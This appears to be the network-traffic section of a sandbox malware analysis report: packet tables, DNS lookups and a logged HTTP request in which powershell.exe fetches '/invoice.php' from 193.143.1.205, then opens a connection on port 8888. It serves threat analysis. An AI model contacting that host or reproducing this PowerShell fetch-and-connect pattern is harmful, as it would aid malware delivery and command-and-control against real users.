Jan 11, 2025 03:16:41.133553028 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133559942 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.133565903 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133578062 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133599997 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.133625031 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.133778095 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133790970 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133804083 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133816004 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133826017 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.133827925 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133852005 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.133889914 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133903980 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133915901 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133928061 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133929014 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.133941889 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133948088 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.133955956 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133974075 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133976936 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.133987904 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134000063 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134016037 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.134036064 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.134639978 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134653091 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134665966 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134679079 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134691954 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134704113 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134710073 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.134716988 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134727955 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134737015 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.134740114 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134752035 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134764910 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134776115 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.134777069 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134789944 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134802103 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134805918 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.134814978 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134829998 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134843111 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134844065 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.134855986 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134862900 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.134870052 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134893894 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.134902000 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.134938002 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.135514975 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.135530949 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.135550976 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.135575056 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.145854950 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.145921946 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.145934105 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.145982981 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.146008968 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.146023035 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.146037102 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.146085024 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.146130085 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.153645039 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.157392025 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.169903994 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.169943094 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.169955969 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.170001984 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.170103073 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.170118093 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.170145035 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.170157909 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.170243979 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.170259953 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.170300961 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.170314074 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.170329094 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.170331955 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.170356035 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.178009987 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178061008 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178073883 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178098917 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.178114891 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.178139925 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178193092 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178232908 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.178375006 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178389072 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178401947 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178412914 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178431034 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.178455114 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.178529978 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178541899 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178556919 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178580046 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.178675890 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178689003 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178702116 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178715944 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.178720951 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178733110 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178744078 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.178745985 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178759098 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178771973 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.178772926 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.178797960 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.179177046 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.179189920 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.179203033 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.179215908 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.179223061 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.179229021 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.179248095 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.179279089 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.228599072 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.228638887 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.228652000 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.228676081 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.228729963 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.228748083 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.228770971 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.228900909 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.228914976 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.228926897 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.228941917 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.228960037 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.229032993 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229131937 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229145050 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229157925 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229166985 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.229171991 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229183912 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229190111 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.229216099 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.229660988 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229674101 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229685068 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229696989 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229708910 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229716063 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.229723930 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229732990 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.229737997 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229749918 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229762077 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229772091 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.229773045 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229785919 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229789972 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.229798079 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229810953 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229813099 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.229825974 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.229851961 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.229878902 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.230588913 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230601072 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230612040 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230623007 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230634928 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230640888 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.230645895 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230659008 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230659962 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.230671883 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230684042 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230689049 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.230695963 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230707884 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230719090 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230727911 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.230731964 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230745077 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.230755091 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.230792999 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.231599092 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231611967 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231623888 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231636047 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231647015 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231652021 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.231659889 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231673002 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231673956 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.231684923 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231697083 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.231697083 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231709003 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231720924 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231730938 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.231734037 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231745958 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231758118 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231760025 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.231770992 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.231777906 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.231803894 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.232573986 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232585907 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232598066 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232610941 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232618093 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.232625008 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232633114 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.232636929 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232650042 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232661009 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232666016 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.232672930 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232683897 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.232685089 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232697010 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232708931 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232721090 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232722044 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.232733011 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232744932 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.232748032 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.232773066 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.232785940 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.233467102 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.233480930 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.233490944 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.233500957 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.233513117 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.233520985 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.233525038 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.233536959 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.233541965 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.233550072 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.233561039 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.233571053 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.233573914 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.233589888 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.233614922 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.261667013 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.261732101 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.261745930 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.261806011 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.261816978 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.261845112 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.261857986 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.261872053 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.261897087 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.261989117 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.264604092 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.264616966 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.264630079 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.264655113 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.264684916 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.264769077 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.264781952 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.264795065 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.264806032 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.264831066 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.264854908 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.265022039 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.265043020 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.265055895 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.265069008 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.265083075 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.265140057 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.265332937 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.265346050 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.265368938 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.304100037 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304146051 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304160118 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304176092 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.304210901 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.304363966 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304378033 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304390907 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304420948 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.304514885 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304527998 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304552078 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.304567099 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304579973 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304593086 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304605007 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304606915 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.304634094 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.304866076 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304879904 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.304904938 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.305084944 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.305099010 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.305110931 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.305124044 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.305130005 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.305136919 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.305149078 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.305151939 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.305166006 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.305191040 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.305211067 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.305394888 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.362737894 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.822828054 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.832717896 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:42.151410103 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:42.560364008 CET	49759	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:42.565269947 CET	8888	49759	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:42.565392017 CET	49759	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:42.565592051 CET	49759	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:42.570390940 CET	8888	49759	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:43.336239100 CET	8888	49759	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:43.390134096 CET	49759	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:43.506407022 CET	49759	8888	192.168.2.10	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:16:50.718312025 CET	58213	53	192.168.2.10	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:16:50.718312025 CET	192.168.2.10	1.1.1.1	0xf1a5	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:16:33.440047026 CET	1.1.1.1	192.168.2.10	0xc1f	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:16:33.440047026 CET	1.1.1.1	192.168.2.10	0xc1f	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:16:50.725606918 CET	1.1.1.1	192.168.2.10	0xf1a5	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49742	193.143.1.205	80	7316	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:16:39.765000105 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
